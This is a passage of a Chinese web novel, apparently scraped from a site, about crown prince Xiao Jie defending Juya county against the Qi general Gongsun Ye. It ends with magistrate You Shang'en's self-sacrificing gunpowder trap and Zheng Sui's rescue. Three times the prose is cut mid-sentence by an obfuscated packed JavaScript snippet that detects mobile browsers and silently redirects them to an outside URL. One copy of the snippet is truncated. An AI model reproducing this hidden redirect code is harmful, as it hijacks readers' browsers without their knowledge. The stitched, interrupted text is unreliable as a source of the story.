在寇丹心辅助下,樾州已经经历为数九天的清洗,公孙铄开始部署全新的作战计划。 大梁的援军很快会到,如果援军前锋数量不大,公孙兄弟准备假意撤离埋伏城中,等先锋队伍入城察看时关门打狗,把他们嚼烂嚼碎。在此之后立即弃樾行进——向东行不远就到松山,藏有梁皇帝的又一支精兵强将,不宜硬碰;往北是菊山,山不算高,但峻岭深水颇多,不利于行进速度。可越过此山就是樾安平原,自此扫荡梁国如马踏平原——弃之可惜,这是一块比鸡肋更甚却有些烫嘴的鸡大腿。 公孙铄举棋未定之际,都尉跳下马背飞奔进来,跪到他面前禀告一个改变战局的消息。 梁太子萧玠正在菊崖县。 梁皇帝的独子,大梁国的储君,对大梁社稷重如千钧的关键人物就在眼前! 拿下萧玠,等于拿下梁国的半壁江山! 公孙兄弟是一对孪生,性各不同。公孙铄尚未置词,公孙冶已将羊皮地图一丢,大笑道:“这是天上有路你不走,地狱无门偏来投!大哥,立即整兵,擒他到城下祭旗!” 公孙铄虽比他早出生半个时辰,却颇为稳重,问道:“梁太子体弱多病,不安坐深宫,怎么出现在山野之间?” 都尉道:“梁太子是皇帝一手养大,把他老子的做派学了十成十,也爱玩微服地方的那一套。听说前些年以休养之名,把江南各州串了个遍,一回朝就献上谏言二十三条,连咱们的不少线人都叫他网罗出来。将军,如今天赐良机,若能俘虏太子叫梁皇帝割城以换——” 公孙铄抬手打断:“确定是萧玠,不是樾州残部树立的疑兵?” 都尉奉上两件文书,道:“西卫队擒下一个骑兵,那厮当即咬舌,未能问出什么,但他包袱里有一封向外州求援的公文,正是梁太子敕令。末将拿萧玠手书比对过,确系萧玠亲笔,将军请看!” 齐国细作常年潜伏大梁,搞到过几封萧玠的手稿。公孙铄接过文书再校一遍,的确同出一手。 都尉低声道:“就算文书能作伪,但下面加盖的东宫玉印做不得假。退一万步讲,哪怕萧玠不在,越山北上也是最好的攻梁之径。区区一个县城,我大军扫荡如碾蝼蚁。将军若怕有诈,您坐镇军中,末将请领先锋部队踏平菊崖!” 见他仍沉眉未语,公孙冶急道:“大哥,别犹豫了,你想想爹。当年就是中了梁皇帝的诡计,爹才被引入城关,叫西夔营一把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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公孙冶和声道:“非你无能。先行归队,阵亡的将士,各家奖赏十金。” 齐军当即兵分两路,一路披荆斩棘,一路探寻大道。前进途中也遭遇几重陷阱,大多是效捕兽之用,内置铁掌铁刺诛物,虽有损伤,但折损不大。等暮色深沉、夜色降临之际,东卫队长策马赶来,昂然道:“禀报将军,弟兄们在西处发现了大道!” 公孙冶问:“探看过了,没有埋伏?” 东卫队长道:“有十来个放冷箭的,但一看就是散兵游勇。咱们射死了几个,剩下的当即如鸟兽散,连刀剑都丢了,吓得屁滚尿流!不过菊崖县的官员的确有点本事,移过去不少高树木堆,要不是兄弟们看得仔细,还真以为是草窝窝给他们糊弄过去呢!” 公孙冶颔首,从腰剑掣出宝剑,一振手臂,呼道:“进军!” 齐军马蹄当即腾跃而起,激起阵阵尘土,在夜色中如同弥漫血雾。公孙冶由东西卫队围护在中间,策马奔驰时,他突然从隆隆马蹄声中听见一道极细微、极轻亮的响声,是最初行军时听到的鸟叫。 不是鸟,是哨! 几乎是撤退声高叫出口的瞬间,公孙冶耳边爆开一阵巨响。都尉纵身一跃将他扑下马背滚向道旁时,公孙冶感觉有土块碎石搀着无数碎块摔打一身,在鬼哭狼嚎的惨叫声中,他听到士兵们高声叫道:“是火炮,是火炮!” 一个穷乡僻壤,哪里来的火炮? 公孙冶无暇思索,因为潜伏树上道旁的梁兵已经和杀声一起从天而降。一道刀光刺向他腰间时,公孙冶滚身而起,被刀锋割破手臂时也割开持刀梁兵的咽喉。 公孙冶作战骁勇,时机瞬逝后再难有刀剑能近其身。梁军一看形势调转,并不恋战,当即掉头奔逃。 都尉大声叫道:“将军,前面有个戴盔缨的,应当是他们的军官!” 公孙冶重新跃上马背,厉声喝道:“活捉梁将,剿灭梁兵!” 菊崖县并不富裕,更没有充足军备,为数不多的几个骑兵还是征用的民间用马。卫士们两条腿跑得再快,也比不上齐军战马狂奔的速度。马蹄铁掌踏在地上,极具压迫的隆隆震动声排山倒海而来,甚至不用刀剑,仅是冲锋就能把前方奔逃的士卒踏成肉泥。 那顶盔缨越来越近,一个飞骑抡腕要砍,突然感觉一阵地动山摇。 地面轰然陷落,塌下一个深坑! 齐军冲锋之势未能立即收竖,骑兵人仰马翻,纷纷坠入坑中,被坑底早已削尖的竹刃刺得浑身血窟窿。 惨叫哀嚎声中,突然有无数火把照亮黑夜。鬼影般的树林后射出纷纷乱箭,震天杀声中真正披戴盔甲的梁军奔涌而出,士气高昂,樾州近在眼前的血仇让他们杀红眼睛。 齐军人马俱乱,不少士兵在奔逃中跌落在地,被自己的马蹄踩踏至死。混乱当中,高有一丈的军旗旗杆被狂马撞断,公孙大旗一片枯叶般坠落在地,当即被乱马践踏成泥。 旗折兵乱,绝非强抗之时。 公孙冶当机立断,大声叫道:“撤兵!立即撤兵!” 势不可挡的齐国军队遭遇了北上途中的第一次战败,折损将士虽不过百数,但主帅险些落网,极大挫伤了锐气。这座神秘的山丘似乎包含了无限怨恨,召来的不可思议的军事反击更像一种诅咒。诅咒战争,诅咒罪犯,诅咒一切杀生。这种诅咒外化成依旧嘹亮的鸟鸣,弹丸般射满天空,撤退途中的公孙冶被击中时也听懂了其中含义,它说公孙家的儿子子茀的祸根,这将是你和你父亲一样的折戟沉沙之地。 公孙冶调转马头振缰奔驰时回头而望,依稀看到梁军火炬之下伫立一个素衣消瘦的身形,山风山霭间如同鹤影,比起君主更像手无缚鸡之力的书生。但他清楚知道,这就是那个集大成的巫蛊者,对他们施放一切诅咒之人。 我一定剁下你的头。公孙冶发誓,太子萧玠,我要啖你的肉来佐酒。 119.第 119 章 长生蛊以不可思议的威力维持了萧玠身体的运转,险些要他性命的刀伤似乎只损及皮毛。但每时每刻,萧玠都不得不忍受剧痛,每说三句话要有一次短时间的喘息,这和他苍白的脸色一起,让每个菊崖公人惴惴不安。 萧玠坐在公廨的太师椅里,额头冷汗密集,他缓气之时没有一个人敢贸然开口,一时间只剩下妇孺们往竹筒里填装火药、导引引信的砰砰撞击声。尤尚恩递过热茶,递给萧玠时碰到他冰冷的手指,这几乎是一个死人的体温。他有瞬间恍惚,这个退敌守城如有神助的年轻人,究竟是太子还是托名太子前来复仇的樾州冤魂。 直到一声轻响,萧玠把茶盏放在几上,嘱咐:“这活别叫女人孩子干。” 堂下一个女人停住劈竹的手,大声道:“殿下,咱们能干。男人们但管备战打仗,其余诸事,交给我们安排!” 她背上用旧腰带捆扎襁褓,缚住她不过几个月大的婴儿。萧玠没多费口舌,道:“好,齐军吃了地丸的亏,一定会对地面多加防备,树上和空中就未必。这次多做投器,怎么组装我已经教过大伙了,天亮之前必须制出三百架。” 女人们爽朗道:“成!地丸还做吗?” 萧玠道:“做,等我和尤县令确定埋藏地点,再叫车来运。先扎一百丸,大伙手上千万谨慎!” 尤尚恩感叹道:“不料殿下竟对军用如此熟悉。” 萧玠脸色犹白,只作一笑。 春天巡看火炮营时郑绥讲解过一些,后来郑绥负伤,他更上了心,火炮营的器具全部亲自勘察甚至操作过一遍。祸兮福之所倚,没想到在这里派上用场。 黄岩云在作战当场,也笑道:“殿下机敏,想到齐军全是重骑铁掌,又专门替设了陷阱。咱们人马轻,跑过去也就踩踏一层圆木,但齐军的骑队要过,全都掉到坑里扎成刺猬!” 萧玠问:“百姓撤离了多少?” 尤尚恩道:“咱们衙役不多,只能分批护送。一千余人已经越山北上。” 萧玠思索片刻,“看公孙冶屠城之举,决计是残暴量狭之人,今日受此创击,下一战务必取我人头。他会集中兵力直取县衙,小股流民对他的吸引应该不大。尽量还是让大伙分散队伍,便于隐蔽,也容易加快脚程。” 尤尚恩意识到,他这样大张旗鼓和公孙冶对阵,就是把自己竖成标靶、吸引军力,从而掩护百姓安全撤离。 萧玠似乎又痛起来,死死掐住自己虎口,片刻后道:“大伙辛苦一日,先去吃饭。两刻后再到这里,我和各位确定埋伏地点和作战计划。” 众人领命,快步赶去熬粥分粮的厢房。独尤尚恩立在原地未动。 萧玠问:“县令有事?” 尤尚恩道:“请殿下移步后堂。” 萧玠看向堂前填装火药的女人孩子,心知他有话要单独讲,便随他往后去。 一过门槛,尤尚恩深吸口气,终于道:“请殿下随百姓撤离吧。” 萧玠蹙眉,“尤县令。” “君子不立危墙之下,万乘之尊不涉险。菊崖只是一县,无战马,少口粮,更别说士卒武器。殿下刚刚巡视过武器库,剩余的东西也有数,全县能用的火药全再这里,顶多只能作一战之用。”尤尚恩撩袍跪地,“臣跪请殿下随众撤离,臣等拼死也会守城直至援军到来。” 萧玠静静听完,道:“尚恩,樾州有内奸,菊崖县未必没有齐国奸细,我一旦撤离,被有心人鼓舞出去动摇民心,城还能不能守住?再者,我在菊崖,各州一定会以最快速度驰援,他们担不起皇太子身死的责任。但我若撤退、脱离险境,各州长吏一旦贪生怕死,会不会派兵救援?就算派兵,会不会像我在这里一样,要不惜一切代价阻挡齐军进攻?” 尤尚恩喉中震动,挤不出一句话。 “如今八封书信已派出一天,最早明日,最晚五日,一定会有援军抵达,我们最多再守五日。”萧玠转头看他,鼻息一深一浅,似乎在忍耐极大的痛苦,但他的声音依旧坚如磐石。 “尤县令,我不仅是太子,更是镇西将军萧恒的儿子。我父亲戎马半生,未舍一人,未弃一城。他没有做过的事,我也不会做。” 他说。 *** 三日之内,纵使军力悬殊,齐军不过前进十里。在太子萧玠带领下,菊崖县老少皆兵。 撼守寸土必须付出巨大的代价,救治伤兵的帐篷菌子般争先恐后破土而出,甚至长满公廨后堂。血腥气比新一次降雨更早一步冲刷着菊山的大地。又下雨了。这场大雨是守城的助力还是会给这摇摇欲坠的县城致命一击,萧玠并不清楚。他没有参与过真正的战争,每一步都是纸上谈兵的赌注。他已经穷途末路。 这座县城以惊人的生命力熬过整整三天。这三天里,每天都有人受伤,每天都有人死去。萧玠翻过东方彻上呈的统计文书,无数条鲜活的人命从他指间滑去,变成史书里的冰冷数字。奉皇二十一年九月樾州罹难几万余口。菊崖这么一个毫不起眼的县城甚至不配被提及,这些死去的卑贱的草芥般的生命不会被后世任何一个人记起。 东方彻看到,萧玠重新捻动腕上那串乌木佛珠,他以为萧玠在哀悼却不知萧玠在克制恐惧。每一颗珠子都是一条命,一颗掉下去,接一颗掉下去,噼里啪啦雨珠断线一样掉下去。不能再这么掉下去。 光明宗割血祝神的旧规矩有那么一瞬重新钻进萧玠脑壳,他盯着自己手腕,看了他以为很久但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16710822|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其实很短的一段时间。血祭真能有如此巨大的威力吗?宗教还会保佑他这个背弃宗教之人吗?是报应吗? 在萧玠浑身颤抖之前,黄岩云的靴声阻断他的思绪滑向一个可怕的境地。大雨把这条汉子冲刷的如同浴血,他冲萧玠抱拳,道:“奉殿下之命清点军备,还剩公人五十三名,马二十匹,刀剑八十二把,箭弩二十五架,砲筒三十支,粮食不足五石。” 弹粮将尽。 萧玠喃喃问:“援兵还没到吗?” 黄岩云道:“这才第三天,说不定明天会到。” 萧玠问:“会不会信件全被截了下来?” 一旁的东方彻安慰道:“八封书信,总能送出去两封。时至今日,殿下切勿多虑。” 萧玠点点头,脸色未缓一分。黄岩云面带犹豫,劝道:“殿下,您先走吧。末将命十名衙役连夜护送。” 萧玠问:“如今还分得出十人?” 黄岩云脸扭到一旁,无言。 萧玠居然笑了一下:“县丞说的是,时至今日,我走也晚了。我这条命说不定还能做一次菊崖的保命符。我的意思是,聚集全部火药做最后一次伏击,到底埋伏在什么地方,还要请教诸位。” 几人围到案前,就一点灯火在舆图上圈标路径。雨声越来越大,屠刀一样地让世界归于寂静。自始至终,尤尚恩未置一词。这晚他牵一匹马,说去检查粮草军械。巡逻的士兵要给他撑伞,他接过,又递还士兵手中撑在他头上,拍了拍他肩膀。 士兵目送县令走进雨幕,发现他的背影很奇怪,一会像牵马的人,一会像被马牵着的一条站立的狗。 雨冲刷着菊崖片瓦之时也冲刷着齐军大帐。公孙冶坐在帐中,点起炉火,赤膊清理箭疮。 都尉看他挤压血水,又拿匕首生生刮肉,忙叫:“将军,末将去煮麻沸散。” 公孙冶道:“不必。” 都尉骂道:“都说萧玠是正人君子,竟还在箭头抹毒,做这等鬼祟伎俩!” 公孙冶动作迅速,只皱紧眉头,气息未曾一乱,道:“这毒极其精妙,多日后才发作,一发便要烂肉。萧恒教了他真东西。” 都尉很是不屑,正要再讲,帐外突然响起哨兵的声音:“有军情急奏将军!” 公孙冶扬声道:“讲!” 帐子被打开。 雨汽扑入帐中时,一个浑身湿透的中年人走进来。 公孙冶先打量他身上服装,有些玩味,目光钉在他凹陷的脸颊上,“穿着官服——你是菊崖的官员?” 中年人向他长揖及地,不知是否受冷,声音微微颤抖:“菊崖县县令尤尚恩,愿引将军入城擒拿太子,但请将军怜恤,勿伤我士卒百姓!” 120.第 120 章 “献城投降。”公孙冶冷笑一声,“看县令麾下负隅顽抗的劲头,完全不像有受降之意。” 尤尚恩身躬得更低,“太子强权下令,在下区区八品官,实难抗命。” 公孙冶转动匕首继续清创,“有太子坐镇,贵军士气正盛,县令怎么想投奔于我?” 尤尚恩道:“菊崖不过一个县城,又处于深山,累年贫苦,辎重本就短缺。如今矢尽援绝,为将军所获是早晚的事情。在下愿将军给一个效力之机,愿以萧玠一条性命,换我菊崖百姓安然无虞!” 公孙冶看向他,“你要叛国。” 尤尚恩颤声道:“求将军怜恤。” 公孙冶神色倨傲,“既然如你所说,踏平菊崖是迟早的事情。我为什么要信你?” “萧玠可能要弃城。” 公孙冶眼中精光一闪,“哦?” 尤尚恩道:“今日有吏员劝谏,让他趁夜潜逃。萧玠嘴上虽推拒,但在下看他的神色,已经动了心思。将军,但凡生此念头,临阵之时焉能不逃?一旦他潜山逃走,将军要擒他就难了。” 公孙冶站起来,眯眼察看尤尚恩的神情。尤尚恩毫不退避,与他对视。 片刻后,公孙冶收回目光,“我看县令文人骨节,本该是一代忠良。” “谁人不想做忠良。”尤尚恩闭了闭眼,“可在下先是菊崖的父母官。我在菊崖任职十年,百姓与我的手足骨肉无异!太子……他受国人供养二十余载,如今也有这个责任。” 公孙冶仍盯着他,高声道:“传我号令!明天跟随尤县令进山活捉萧玠。回来必将其千刀万剐,分肉与大伙下酒!” 他手掌一动,一线寒芒闪过,刀锋贴在尤尚恩颊边,再深一分就能裂开肌肤。 公孙冶笑道:“如果拿不到萧玠——尤县令,只好劳你代他受此活剐之刑。” 尤尚恩的眉毛不可控制地向上一跳。 他再次躬下身去,到一个近乎以臣对君的卑躬屈膝的位置,诚挚道:“是时听凭将军处置。” *** 萧玠半夜惊醒时,大雨依旧未止。 他整整三个日夜不曾合眼,今晚实在倦怠,终于靠在太师椅里睡着了。昏昏茫茫间,听见有人细细叫他:“阿耶,阿耶。” 萧玠睁开眼睛,见一泼月光穿破雨幕刺进堂屋,像刀的锋芒。一个瘦瘦小小的女孩踩着刀尖走过来。眼睛大大睁着,皮肤是近乎死人的苍白,水碧裙子飘荡成条条缕缕。 她张开双手,无意识地、喃喃叫道,阿耶,救我,阿耶! 萧玠心痛欲裂,几乎是狂奔过去搂抱她。一瞬间,他浅睡的身体从椅中弹起,高叫一声:“囡囡!” 在厢房休息的东方彻闻声赶来,忙问:“殿下,怎么了?” 萧玠缓了缓神,看向自己抱紧两臂的双手,擦了把脸笑道:“没事,做了个梦。现在几更天了?” 东方彻道:“刚到四更,还早,殿下再休息一会吧。” 萧玠道:“不睡了,我去瞧瞧舆图。” 东方彻道:“我陪殿下。” 东方彻点燃烛台,萧玠披衣立起,两个人一块往壁前走去。同生共死已经把这样的萍水之交变得像多年老友。有那么一个瞬间萧玠想开口询问有无旭章的下落,但另一个不言而喻的事实照进他脑海里:获救的妇孺里,并没有东方夫人颜氏的身影。 他们两个人似乎完好地站在这里,多少人认为这是战争中的万幸。只有彼此知道,各自已经残缺不全。 哪怕碎片在手,现在也是拼凑金瓯而不是拼凑自身的时候。 萧玠道:“菊崖久攻不下,公孙冶的耐心已经殆尽。他如今执意入山,是想活捉我亲自残杀。但时间拖得太久,他未必不会有新的打算。” 东方彻心中一惊,“殿下是指……” “烧山,”萧玠沉声道,“对齐军来说,烧山利大于弊。菊崖县是山城,他们只需静候,我们就会在山火逼攻下奔逃出山自投罗网。更何况菊山如果焚尽,公孙冶北进中原将如同破竹,再没什么能阻挡他了。如今他唯一的顾虑,就是我们的援军会不会马上赶到。如果我们左右夹击,烧山反而断掉他们最后退路,让他们插翅难逃。” 说到这里,萧玠反而像松一口气,冲他一笑:“到时候君要与我同做樾州一块焦炭了。” 东方彻道:“烈火焚烧若等闲。” 萧玠胸中震动,一时无言。 东方彻道:“且齐军烧山,怎么要等雨停。就算雨停,树木潮湿,也很难短时间把山焚尽。殿下,天命在焉。” 萧玠注目他良久,颔首,“是,我们还不到穷途。” 雨色昏昏,难分昼夜。等到鸡鸣时分,天地犹如混沌。所剩公人已经按照部署井然行事,萧玠经过回廊,见尤尚恩屋中依旧漆黑,问:“县令还没回来么?” 东方彻摇头:“没有。” 萧玠忙去检查火砲竹筒,没再多问。 赶进库房时,萧玠浑身一僵。 昨天填装完的三十支砲筒,全部不翼而飞。 萧玠一口气堵在胸口,厉声问道:“这是怎么回事?” 他来的早,看管火药的公人闻声跑来,道:“昨儿明府出门,叫人把砲筒运走了。” 萧玠还没来得及追问,黄岩云已大步跑进衙门,气喘吁吁道:“北崖发现齐军队伍!” 北崖处于山腰,前有两层岗哨。齐军是如何避开所有耳目直抵此处的? 萧玠一颗心砰砰狂跳,只觉后心一片黏湿。黄岩云顶着他的目光,颤声补全下一句话:“据探哨所报……明府也在其中。” *** 菊山北崖并不算高,但格外陡峭,远望如同狼牙,更有无数荆棘野树丛生,若非有人带路,很难径直而上。 雨势虽已转小,山路依旧湿滑难行,尤尚恩一个文官却步伐稳健,看来没少走过这些泥路。他往上抬了抬竹笠,向上一指,“再过两个崖头,就到城中。” 公孙冶举过火把,顺他手指看去,果然见重岩苍翠间一座石城若隐若现。 尤尚恩竟没耍花招,真把他们引到城前。 公孙冶看一眼都尉,都尉会意,笑道:“尤县令居功至伟,等拿下萧玠,将军必论功行赏。” 尤尚恩有些麻木,“只望将军守诺,勿伤百姓。” 公孙冶道:“我必视如麾下。” 官袍被泥水沤脏,尤尚恩擦了一把,污渍反而晕成大块。他松开袍角,挪开脚步,察看脚下山路,道:“水流太过湍急,将军人马又众,现在登山只怕会引发山崩。前面有处洞窟,是菊山开山者鲁公当年的休憩之所,将军可以率队入内休憩。” 公孙冶谨慎,先察看路途,强行的确太过危险。又派都尉入洞探查,确定没有伏兵,这才跟随进入。 洞中多石少土,比外头干燥不少。齐军生起火,暂时休整饮食。公孙冶带亲军在洞内,其他守在洞外,尤尚恩盘膝缩在角落,面无表情。 都尉经公孙冶示意,递给他一只饼。尤尚恩道谢,摇头拒绝。 “不食周粟,的确有些骨气。”公孙冶自己咬饼吃,“只是尤县令,今时今日你也做不得伯夷叔齐,这里也不是首阳山。” 都尉找话头,道:“都说菊山以菊花闻名,怎么走了半天,半棵菊花没瞧见?” 篝火跳荡,烟气缭绕。尤尚恩声音有些缥缈:“菊崖县所在荒僻,菊花并不繁茂。按今上旨意,今年十月新任樾州刺史闻慎行会入山勘探,最迟明年三月,垦地动土。” 他道:“菊花最为繁盛处是州府所在,将军入城九日,没有瞧见?” 公孙冶目光微冷,“尤县令,你什么意思?” 尤尚恩笑了笑:“如今正值深秋,本是观赏绿菊的佳季。在下只是替将军惋惜。” 公孙冶道:“尤县令弃暗投明,可以去瞧瞧齐国的秋菊。你们梁国的菊花,在齐国也种活了几棵。” 他这话有些双关之意。尤尚恩头皮一紧,道:“还请将军见教。” “不急。”公孙冶笑道,“等宰割萧玠犒军之日,再说不迟。” 火焰照耀下,尤尚恩脸如死灰。他终于凑近那堆篝火,痴滞地盯着火丛,似乎里面埋藏着什么秘密。 公孙冶吃掉热馕,又解开羊皮囊吃一大口酒,洞外仍是密密雨落之声。一阵脚步声飞快赶来,探哨入洞禀报:“将军,梁军正从西侧向此处赶来!” 都尉当即拔刀抵在尤尚恩颈侧,公孙冶也按剑站起来,问:“有多远?” 探哨道:“咱们发现及时,怎么还有二里。” 尤尚恩笑道:“将军无须担忧。这样大的阵仗,太子若毫无察觉,将军反该担忧我是不是假意投降。” 山洞内外,齐军全部站立以待,独尤尚恩仍坐在火边,两手离那火越来越近,“之前贵军行进困难,是吃了不熟山势的亏。如今已深入腹地……正是天赐良机。” 公孙冶大步走到洞外,高声道:“既然萧玠送上门来,无须进城,就让菊山北崖做他的葬地!尤县令,出洞再见一见你的旧主吧,不然再过片刻,你能看见的只有一具骨架。” 尤尚恩终于起身,整理官袍,站在篝火旁抚平那污浊的禽鸟刺绣。 “将军说得对,这里不是首阳山。”尤尚恩道,“是菊山。” 靠近篝火的那只大袖滑下他手腕,终于露出他隐在袖下的左手。公孙冶看到,尤尚恩手指间冒出一截线头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16711825|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像一条干死的蚯蚓。公孙冶太知道那是什么东西。 “菊山已经没有菊花了。”尤尚恩喃喃道,“但我还是能闻到菊花香。” 这一刻尤尚恩感觉自己被铺天盖地的菊香包裹了,漫山遍野的菊尸菊骸争先恐后复活过来。香气淹没他的全部知觉,他看不到也听不到。旁的事情和声音——怒骂声、拔剑声、脚步践踏声、呼喝奔命声、连绵大雨声,甚至掩埋一切的爆炸石崩之声——都是他身外的事了。他只听到秋日里最艳丽的一朵菊花绽放的声音,在指间的引信上毕剥响起。 他幸福地微笑起来。 天地一声轰鸣。 万籁归于寂静。 *** 北崖崩塌的一瞬间,黄岩云当即将萧玠扑倒地上护在身下,全部士卒也迅速仆地。轰隆轰隆如同冲车攻城的撞击震动声里,东方彻声音有些发抖:“是山崩吗?” 黄岩云牙关哆嗦:“是火药。” 他带着哭腔低声吼道:“我就知道,我就知道!明府怎么会通敌……他把砲筒埋在鲁公洞里!鲁公洞是石头垒的,炸不死齐军也能砸死这狗娘养的!还是个人工洞,只会炸掉一个崖头,牵连不到整座山上!” 萧玠已从地上爬起来。雨势减弱,灰天下抛满透明细密的纱线。雨纱之外北崖塌落,荡起朵朵白烟。 萧玠呛咳两声,厉声叫道:“地利人和,这是唯一的致胜之机!立即冲锋,为尤县令报仇雪恨!” 数十公人当地拔剑而起,猛虎出山般顺势奔下。洞穴崩塌后,仍有巨大的余音在天地间荡漾,雨水敲击树叶的沙沙声后,又有杀声震天作响。萧玠和东方彻不通武艺,仍停在高处俯瞰局势。 突然,一片昏黑的山窠处,跳出一点火光。 巨大的恐惧揪紧萧玠五脏,他甩脱东方彻,跌跌撞撞往下跑去,不知用什么样的声音撕心裂肺地大叫:“齐军要烧山!灭掉火种,先灭掉他们的火种!” 他好像跌倒了,东方彻追上来,一双手紧紧搀扶他,萧玠全部感觉不到。他只感到,若有似无的酒香湿漉漉地挤进鼻腔,雨中腾腾的火苗似乎要照到脸上—— 比还未燃起的山火更快,一个带甲人影以饿狼之势腾至面前。 晦暗天光下,萧玠第一次看到公孙冶的脸。 身形高大,五官深邃,如果没有战争加给他的浑身鲜血和狰狞表情,应当算得上英俊。 这个疯狂的屠夫,丧尽天良的野兽,把樾州变成人间炼狱的罪魁祸首,竟然是个人,真的是个人。 什么人能做出这种孽!他居然是个人! 看见萧玠的一瞬,公孙冶像看到一只肥美的羔羊,眼中大亮精光。他跨动脚步,喉中迸发出嗬嗬笑意。萧玠一瞬间想到昆刀、想到程忠、想到贴到他面前的一切死亡。 下一刻,公孙冶叫他:“不愧是萧恒的种,很不得了啊,太子殿下。” 萧玠推开挡到面前的东方彻,把他掩到身后。他想站起来,但公孙冶的剑锋已经悬到他的头顶。 公孙冶笑得恶毒:“如果收到你的人头,萧恒还活得过今年冬天吗?” 萧玠盯紧那把宝剑,像盯一条嘶嘶吐信的毒蛇。 如果收到你的人头萧恒还活得过今年冬天吗。 如果收到我的人头阿爹还活得下去吗? “爹!”公孙冶大叫一声。他的叫声在萧玠脑中回荡——爹、爹……爹! 公孙冶道:“儿子不孝,今日给您报仇了!” 长剑刺出的一瞬间,萧玠拼尽力气死死夺住剑锋,利刃割开骨肉的脆响几乎让他以为被削掉了十指。公孙冶没想到,这么一个病秧子竟在最后关头迸发出如此强烈的求生之欲。他鼻中一嗤,抬脚把萧玠踹翻在地。 公孙冶挥臂斩下宝剑。 寒光当头劈落,剑风几乎削掉萧玠的睫毛。萧玠浑身一抖,一股鲜血已经溅在脸上。 这似乎是临死前的幻觉,他居然看到,另一束宝剑寒光洞穿公孙冶左胸。 公孙冶不可置信,正要扭头,那把剑嗤地往前一刺,以极大的力道旋转,绞肉的声音响动,几乎拧烂他的心脏。 公孙冶五指一松,手中长剑哐啷坠地之时,他穿戴铁甲的身躯也轰然倒地。后面露出一张不可能出现在这里、但竟然出现在这里的脸。 萧玠张了张嘴唇,发出声音前那人已松开剑柄扑上来抱住他,连声叫道:“殿下……殿下,臣救驾来迟了!” 萧玠愣愣看着他,几乎是无意识抱住他颈项,无意识在贴住那温热□□时有了意识,萧玠突然感到手上剧痛。太痛了,痛得他不管不顾放声大哭起来:“你来了……你真的来了,你可算来了!我把旭章弄丢了……绥郎,绥郎!我把旭章弄丢了!” 121.第 121 章 菊崖县收复当天,所有幸存者看到皇太子萧玠骑乘一匹白马步入城门。 连绵多日的雨水洗掉他镇定自若的假面,显现出真正的倦怠之色。人们察觉他全身只有支持呼吸的游丝的力气,整个人像一条白蛇盘虬在马背上。这头高头大马居然也任劳任怨地驮载他。人们想一定由于牵住缰绳的那只手。小麦色的大手和太子苍白纤软的手挨在一起,形成一股奇异的碰撞。 菊崖县县志记载,奉皇二十一年农历十月十九日,前龙武卫中郎将、现忠武将军郑绥斩公孙冶全歼齐军三千众,为皇太子牵马执镫直到县城。 雨后,太阳绽放浴血的容光,公廨瓦当上未干透的雨点如同史书页的古旧斑痕。在这座被历史铭记的房屋前,白马昂然高鸣停住脚步,军队和官吏列阵在侧,静候太子玉旨或将军军令。 郑绥上前一步时萧玠微张开手臂,由他抄在腋下把自己抱下马背。经历生死后萧玠感觉自己像旧时缠足脚不沾地的妇人,站立在地面上有一种不适应的眩晕感。他只能把支撑身体的力气全泻到郑绥搀扶他的手臂上。 萧玠脸上挤出一缕笑意,说:“齐军退败,公孙冶人头已悬挂城墙,菊崖我们守住了!大伙稍作休息,救治伤员、生火做饭,徼巡不要懈怠,我估计齐军会卷土重来。” 菊崖县的幸存者说,太子透支的身体如同秋叶摇摇欲坠,站立尚且勉强遑论行走。我们以为小郑将军会抱他进屋。 修整县志的后来人问,并没有吗? 幸存者说,并没有,两个人相互搀扶进屋,始终没有交流。自然屋门关后的事情我们就不得而知了。 人们不知道房屋知道。在房屋永不褪色永不消磨的永恒记忆里,郑绥将萧玠搀扶到床边,替他解开结系帐子的丝绳,又半跪下替他脱鞋。萧玠本该逃避,但脚却像粘在地上一动不动。郑绥把他的脚从裂口的布鞋和泥污的袜子里解放出来,像之后的梁景帝把全部女人的脚从不幸的历史的裹脚布里解放出来一样。 郑绥没有立刻起身,把他的脚放在膝盖,翻看脚底的血泡和扎满棘刺的黑点。他脸上流露出一点痛心的表情,说:“我去打热水……不,我先去找剪子,给你洗完脚我给你挑刺。” 萧玠拉了他一把,这个疲倦的动作在含义上有点过界。他说:“你别去,你陪我睡一会。我自己睡不着。” 萧玠感觉这句话后,郑绥捧住他脚的双手突然变得又凉又硬,像块石头。郑绥变成石头也是块遵命的石头。他站起身,站在床前僵硬地拆解甲胄。萧玠也解自己的腰带。这样宽衣解带的古怪气氛在两个触碰过情欲薄膜的人之间越聚越浓。 萧玠脱掉脏的外袍,露出白绸中衣,退到床里侧。帐子已经放下来,形成一个本该是夫妻才能共享的秘密世界。郑绥逾矩钻进帐子里,一只膝盖先跪上床沿,又是另一只。他的影子罩在萧玠身上,萧玠突然感觉像他伏在自己身上一样。 